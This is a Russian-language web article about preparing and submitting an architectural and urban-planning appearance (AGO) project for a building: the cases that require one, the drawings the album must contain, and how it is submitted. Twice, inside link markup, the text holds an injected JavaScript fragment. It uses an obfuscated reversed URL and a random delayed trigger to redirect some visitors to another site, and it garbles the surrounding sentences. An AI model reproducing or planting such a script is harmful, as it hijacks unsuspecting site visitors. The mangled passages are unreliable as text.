Разработка проекта для Архитектурно-градостроительного облика осуществляется по тем же принципам и нормам, по которым происходит разработка проектной документации для строительства. Проект АГО представляет собой альбом, в котором содержится визуальное отображение будущего объекта, либо комплекса зданий, вписанного в городскую среду с благоустройством и инфраструктурой. При проектировании учитывается не только эстетика, но и функциональность, комфорт для местных жителей.

В каких случаях требуется разработка проекта для АГО

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovka-razdelov-proyekta-stadii-p/»>Разработка проекта для утверждения Архитектурно-градостроительного облика будет необходима, если будущий объект относится к одной из следующих категорий:

• многоэтажное жилое здание, которое будет вновь возводиться;
• нежилое сооружение от 1500 кв., которое находится рядом с федеральной трассой или местной дорогой;
• существующее здание, подлежащее реконструкции с изменением облика фасадов;
• недостроенный объект с изменившимися формами и особенностями фасадов, который ранее получил одобрение.

Разработка проекта для согласования Архитектурно-градостроительного облика предшествует получению «tobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovka-razdelov-proyekta-stadii-p/»>проект для разрешения на строительство«. В готовом проекте должны содержаться уже принятые и согласованные на городском уровне архитектурные решения.

Требования к проекту Архитектурно-градостроительного облика

Проект Архитектурно-градостроительного облика выглядит, как альбом, в котором содержится вся следующая информация на отдельных листах:

• планировка участка;
• отражение благоустройства территории;
• схемы совмещения территории участка с транспортными развязками;
• отражение всех фасадов объекта;
• детализация отдельных фрагментов фасадов;
• планы и разрезы всех неповторяющихся этажей;
• пояснительная записка и расчеты в ведомостях.

Подача проекта на согласование Архитектурно-градостроительного облика осуществляется в бумажном виде в двух экземплярах, а также на цифровом носителе. Оцифрованные данные загружаются в общую базу, что в данное время облегчает процесс получения разрешения на строительство, работы с другими органами, задействованными в согласованиях. При разработке проекта важно правильно оформлять документацию. Частой причиной отказа в согласовании является наличие ошибок в оформлении, что увеличивает сроки рассмотрения заявки на месяцы.